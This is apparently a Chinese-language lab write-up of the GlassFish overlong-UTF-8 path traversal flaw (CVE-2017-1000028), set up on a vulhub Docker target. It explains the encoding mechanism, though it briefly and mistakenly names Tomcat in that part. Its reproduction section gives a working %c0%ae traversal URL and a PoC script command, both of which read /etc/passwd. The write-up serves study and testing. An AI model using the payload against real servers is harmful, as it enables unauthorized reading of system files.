漏洞介绍
GlassFish是一个用于Java EE平台的开源应用服务器。在GlassFish中存在一个漏洞,攻击者可以通过UTF-8 Overlong Encoding攻击读取任意文件。
该漏洞产生的原因是GlassFish在解码URL时没有正确处理UTF-8 Overlong Encoding,导致将%c0%ae解析为ASCII字符的.(点)。攻击者可以通过在URL中使用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来实现目录遍历,从而读取系统上的任意文件。
漏洞范围
glassfish< 4.1.1
漏洞靶场
使用vulhub的靶场:
使用环境为GlassFish 4.1.0
vulhub-master/glassfish/4.1.0/
启动靶场环境:
1 | docker-compose up -d |
环境启动后,可以通过http://your-ip:4848访问GlassFish管理控制台:
漏洞原理
UTF-8是现在最流行的编码方式,它可以将unicode码表里的所有字符,用某种计算方式转换成长度是1到4位字节的字符。
参考这个表格,我们就可以很轻松地将unicode码转换成UTF-8编码:
| First code point | Last code point | Byte 1 | Byte 2 | Byte 3 | Byte 4 |
|---|---|---|---|---|---|
| U+0000 | U+007F | 0xxxxxxx | |||
| U+0080 | U+07FF | 110xxxxx | 10xxxxxx | ||
| U+0800 | U+FFFF | 1110xxxx | 10xxxxxx | 10xxxxxx | |
| U+10000 | U+10FFFF | 11110xxx | 10xxxxxx | 10xxxxxx | 10xxxxxx |
那么,了解了UTF-8的编码过程,我们就可以很容易理解Overlong Encoding是什么问题了。
Overlong Encoding就是将1个字节的字符,按照UTF-8编码方式强行编码成2位以上UTF-8字符的方法。
仍然举例说明,比如点号.,其unicode编码和ascii编码一致,均为0x2E。按照上表,它只能被编码成单字节的UTF-8字符,但我按照下面的方法进行转换:
0x2E的二进制是10 1110,我给其前面补5个0,变成00000101110- 将其分成5位、6位两组:
00000,101110 - 分别给这两组增加前缀
110,10,结果是11000000,10101110,对应的是\xC0\xAE
0xC0AE并不是一个合法的UTF-8字符,但我们确实是按照UTF-8编码方式将其转换出来的,这就是UTF-8设计中的一个缺陷。
按照UTF-8的规范来说,我们应该使用字符可以对应的最小字节数来表示这个字符。那么对于点号来说,就应该是0x2e。但UTF-8编码转换的过程中,并没有限制往前补0,导致转换出了非法的UTF-8字符。
这种攻击方式就叫“Overlong Encoding”。
当Tomcat接收到包含%c0%ae的请求URL时,它会尝试进行URL解码。
存在漏洞的Tomcat版本在解析URL时,默认使用了不严格的UTF-8解码器(通常是基于Java内置的java.nio.charset.CharsetDecoder)。
这个不严格的解码器没有拒绝0xC0 0xAE这个非法序列(非最短形式)。
解码器尝试将这个两个字节序列解释为UTF-8。它会:
- 忽略第一个字节
0xC0的前两位(标志110,表示两字节序列)。 - 忽略第二个字节
0xAE的前两位(标志10)。 - 将剩下的位组合起来:
0xC0的后6位是000000,0xAE的后6位是101110。 - 拼接:
000000+101110=000000101110(二进制)。转换为十六进制:0x00 0x2E。注意:低字节的0x2E就是关键!
这个值0x002E对应于Unicode码位U+002E。用Java字符表示为\u002E。
\u002E在内存中存储/表示时,其底层字节值(在基本ASCII兼容的字符集如ISO-8859-1或Windows-1252中)就是0x2E,也就是点号.。
相关代码
1 | public static String decode(String s, String enc) |
java/net/URLDecoder.java#L132-L206
漏洞复现
访问以下URL可以读取/etc/passwd的内容:
1 | https://your-ip:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd |

exp使用
NeonNOXX/CVE-2017-1000028: POC&EXP for GlassFish<4.1.1(not including 4.1.1). (github.com)
1 | python cve-2017-1000028.py -u https://your-ip:4848 -c /etc/passwd |

复现成功
参考
UTF-8 Overlong Encoding导致的安全问题 | 离别歌 (leavesongs.com)
vulhub/glassfish/CVE-2017-1000028/README.zh-cn.md at master · vulhub/vulhub (github.com)